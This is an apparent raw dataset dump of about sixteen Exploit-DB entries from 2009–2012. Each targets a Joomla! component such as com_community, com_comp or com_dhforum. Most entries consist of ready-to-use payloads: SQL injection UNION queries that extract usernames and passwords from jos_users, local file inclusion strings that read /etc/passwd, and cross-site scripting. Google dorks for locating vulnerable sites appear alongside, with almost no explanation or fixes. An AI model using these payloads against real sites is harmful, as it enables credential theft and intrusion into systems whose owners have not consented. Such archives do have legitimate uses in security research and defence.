deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13955
Description: Joomla! Component com_community - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-21
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_community Persistent Xss Vulnerability
Date : june, 21 2010
Critical Level 	: HIGH
Vendor Url : http://styleware.eu/
DEMO URL :http://bizweb.styleware.eu/
Google Dork:inurl:com_community
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################

Xploit: Persistent Xss  Vulnerability

STEP 1: Register as a user :)

STEP 2: GOTO your profile and you can set your status ;)

STEP 3: For demo use  ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>

DEMO URL : http://server/index.php?option=com_community&view=profile&Itemid=66

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #11511
Description: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-19
Author: kaMtiEz

Exploit:
[!]===========================================================================[!]

[~] Joomla Component com_communitypolls LFI Vulnerability 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 16 February, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.corejoomla.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.corejoomla.com/downloads/community-polls/24-comcommunitypollsv1-5-2.html
[+] Version : 1.5.2 maybe lower also affected 

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_communitypolls&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00

[ d3m0 ]

http://server/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,senot,all INDONESIANCODER MEMBERS
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Rawk !
[+] rm -rf 

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..
[+] e0f
Exploit-DB #11709
Description: Joomla! Component com_comp - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-13
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_comp SQL Injection
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_comp&task=view&cid=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_comp&task=view&cid=-1+UNION+SELECT+1,2--


[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #15439
Description: Joomla! Component com_connect - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-11-06
Author: Th3 RDX

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Exploit Title: Joomla Component com_connect LFI Vulnerability
# Date: 6-11-2010
# Author: Th3 RDX
# Software Link: n/a
# Version: n/a
# Tested on: online Sites
# category: webapp/Joomla
# Code : n/a
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Br0wn Sug4r, Sid3^effects, L0rd CruSad3r,
Sonic , r0073r(inj3ct0r.com)                  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<3 Love: -[SiLeNtp0is0n]-, stRaNgEr(lucky), inX_rOot, NEO H4cK3R, DarkL00k, G00g!3 W@rr!0r, 
str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                           ......\m/ INDIAN CYBER ARMY \m/......
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

        Th3 RDX

----- [ E - mail ] -----

    th3rdx@gmail.com


                                                        %\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Joomla Component com_connect LFI Vulnerability

----- [ Vendor ] -----
n/a
                                                        %\\
##############################################################################

##############################################################################
%//

----- [ Bug (s) ] -----

----- [ Local File Inclusion ] -----

=> [ EXPLOIT ]

http://server/index.php?option=com_connect&view=connect&controller=[LFI]

=> [ Example/POC ]

http://server/index.php?option=com_connect&view=connect&controller=../../../CREDITS.php%00

                                                    %\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=> PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam 
 
=> c0d3 for motherland, h4ck for motherland
 
==> i'm worst than a useless <==
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.

Bug discovered : 06 November 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 

#End 0Day#
Exploit-DB #11236
Description: Joomla! Component com_ContentBlogList - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-23
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_ContentBlogList) SQL Injection Vulnerabilities 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: Demo Site and Official Site

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Multiple input vars are vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.5 but probably other versions also. 
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT (DEMO SITE):

------------------------[BEGIN-SNIP{searchword var}]---------------------------------

POST http://server/index.php/search.html HTTP/1.1
Host: www.server.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Referer: http://server/index.php/search.html
Content-Type: application/x-www-form-urlencoded
Content-length: 276

searchword=Small%25%22%29%29+AND+0+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26,27,28,29,30+FROM+jos_users%23&Search=Ir&task=listsearch&searchphrase=all&ordering=newest&
areas%5B%5D=content&Itemid=1&sectionid=0&limitstart=

------------------------[END-SNIP{searchword var}]-----------------------------------

[~]>> PROOF OF CONCEPT (OFFICIAL SITE):

[~]>> AFFECTED VAR: id, section_id and more.
 
[~]>> http://server/index.php?option=com_contentbloglist&task=listmonth&year=2010&month=1&section_id=[SQL]&Itemid=1
[~]>> http://server/index.php?option=com_contentbloglist&task=listmonth&year=2010&month=1&section_id=999999+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users&Itemid=1

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #36549
Description: Joomla! Component com_contushdvideoshare 1.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-12
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/51411/info

The HD Video Share ('com_contushdvideoshare') component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

HD Video Share 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?option=com_contushdvideoshare&view=player&id=14
http://www.example.com/index.php?option=com_contushdvideoshare&view=player&id=14â??a
Exploit-DB #10949
Description: Joomla! Component com_countries - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#############################################################
#        Joomla Component com_countries  SQL Injection Vulnerability
#############################################################

# Author          : FL0RiX

# Name            : com_countries

# Greez           : Deep-Power, PyskE,Septemb0x,KaCaK

# Bug Type        : SQL Injection

# Infection       : Admin login bilgileri alinabilir.

# Demo Vuln.      :

http://server/index.php?option=com_countries&locat=[SQL INJ.]

# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_countries&locat=null/**/union/**/select/**/concat(username,0x3a,password)fl0f0r3v3r/**/from/**/jos_users

< -- bug code end of -- >
Exploit-DB #36638
Description: Joomla! Component com_crhotels - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-31
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51728/info

The 'com_crhotels' component for Joomla! is prone to a remote SQL injection vulnerability.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_crhotels&view=cate&catid=[SQL Injection]
Exploit-DB #12632
Description: Joomla! Component com_crowdsource - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-17
Author: ByEge

Exploit:
[!] Title: Joomla Component com_crowdsource   SQL Injection 

[!] Date: 16.05.2010
    
[!] Author: ByEge

[!] Homepage: byege.blogspot.com

[+]########################################################################################################################################################[+]


[!]  ExploiT     :

-3/**/uNIOn/**/sELECt/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37/**/--

[!]  Example     :

http://localhost.free/index.php?option=com_crowdsource&view=design&cid=-3/**/uNIOn/**/sELECt/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(char(32,58,32),user(),database(),version()),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37/**/--


[+]########################################################################################################################################################[+]

[!]  Th4nks :  Fantastik, MitolocyA, ISYAN,
Exploit-DB #33757
Description: Joomla! Component com_d-greinar - 'maintree' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-13
Author: DevilZ TM

Exploit:
source: https://www.securityfocus.com/bid/38714/info

The Joomla! 'com_d-greinar' component is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?option=com_d-greinar&Itemid=11&do=allar&maintree="><script>alert(/DevilZ TM/)</script>
Exploit-DB #10928
Description: Joomla! Component com_dailymeals - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-02
Author: FL0RiX

Exploit:
@~~=======================================~~@

@~~=Script   : Joomla Component com_dailymeals

@~~=Author   : FL0RiX

@~~=Greez : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Home : www.oltan.org

@~~=Bug Type : Local File Inlusion(LFI)

@~~=Dork : inurl:"com_dailymeals"

@~~=Note : Finished My Life :( ..!!..!!
@~~=======================================~~@

@~~=Vuln

http://server/ [Yol] /index.php?option=com_dailymeals&view=dailymeals&controller=[-LFI-]
Exploit-DB #11086
Description: Joomla! Component com_dashboard - Directory Traversal
Type: webapps
Platform: php
Date: 2010-01-10
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script : Joomla Component com_dashboard

@~~=Author : FL0RiX

@~~=Greez : Dost mu var?

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_dashboard"

@~~=Note: Kimseye Hakettiginden Fazla Deger Vermeyeceksin.

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_dashboard&controller=../../../../../../../etc/passwd%00
Exploit-DB #14154
Description: Joomla! Component com_dateconverter 0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-01
Author: RoAd_KiLlEr

Exploit:
-----------------------------------------------------------------------------------------
 Joomla  Component  com_dateconverter  SQL Injection Vulnerability
-----------------------------------------------------------------------------------------
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
1                ###########################################           1
0                I'm **RoAd_KiLlEr**  member from Inj3ct0r Team        1
1                ###########################################           0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+]Title              Joomla  Component  com_dateconverter  SQL Injection Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact        RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on     Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://a-h-crew.net    
[~] Vendor: http://sourceforge.net/projects/date-converter/
[~] Download App:http://sourceforge.net/projects/date-converter/files/com_dateconverter-0.1-beta.zip/download
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
Joomla AD/BS Date Converter is a Joomla Component used to convert date between Gregorian Calendar and Bikram Sambat Calendar. BS Calendar is used in Nepal, India, Bhutan, Sri Lanka, Thailand etc.
=========================================

[+] Dork: inurl:"com_dateconverter"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://127.0.0.1/path/index.php?option=com_dateconverter&Itemid=[] <== SQL-i

===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka from Dz-Ghost Team  | MaFFiTeRRoR | Sid3^effects | The_Exploited | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================
Exploit-DB #15440
Description: Joomla! Component com_dcnews - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-11-06
Author: Th3 RDX

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Exploit Title: Joomla Component com_dcnews LFI Vulnerability
# Date: 6-11-2010
# Author: Th3 RDX
# Software Link: n/a
# Version: n/a
# Tested on: online Sites
# category: webapp/Joomla
# Code : n/a
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Br0wn Sug4r, Sid3^effects, L0rd CruSad3r,
Sonic , r0073r(inj3ct0r.com)                  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<3 Love: -[SiLeNtp0is0n]-, stRaNgEr(lucky), inX_rOot, NEO H4cK3R, DarkL00k, G00g!3 W@rr!0r, 
str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                           ......\m/ INDIAN CYBER ARMY \m/......
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

        Th3 RDX

----- [ E - mail ] -----

    th3rdx@gmail.com


                                                        %\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Joomla Component com_dcnews LFI Vulnerability

----- [ Vendor ] -----
n/a
                                                        %\\
##############################################################################

##############################################################################
%//

----- [ Bug (s) ] -----

----- [ Local File Inclusion ] -----

=> [ EXPLOIT ]

http://server/index.php?option=com_dcnews&view=dcnews&controller=[LFI]

=> [ Example/POC ]

http://server/index.php?option=com_dcnews&view=dcnews&controller=../../../../../../../../../../etc/passwd%00

                                                    %\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=> PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam 
 
=> c0d3 for motherland, h4ck for motherland
 
==> i'm worst than a useless <==
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.

Bug discovered : 06 November 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 

#End 0Day#
Exploit-DB #11927
Description: Joomla! Component com_departments - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_departments SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-29

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_departments SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_departments&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_departments&id=-1 UNION SELECT 1,2,3,4,5,6,7,8--

[~] Demo            :

http://server/index.php?option=com_departments&id=-1 UNION SELECT 1,version(),3,4,5,6,7,8--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #10742
Description: Joomla! Component com_dhforum - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-27
Author: ViRuSMaN

Exploit:
==============================================================================
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|


==============================================================================
======
[»] Joomla Component com_dhforum SQL Injection Vulnerability
========================================================================

======

[»] Script: [ joomla Component ]
[»] Language: [ PHP ]
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
[»] Greetz to: [ HackTeach Team ,Egyptian Hackers ,All My Friends &pentestlabs.com ]
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

[»] http://[target].com/[path]/index.php?option=com_dhforum&view=grouplist&id=[SQL]



===[ Live Demo ]===

[»] http://server/index.php?option=com_dhforum&view=grouplist&id=-1+union+select+concat

(username,0x3a,password)+from+jos_users--

Author: ViRuSMaN <-

###########################################################################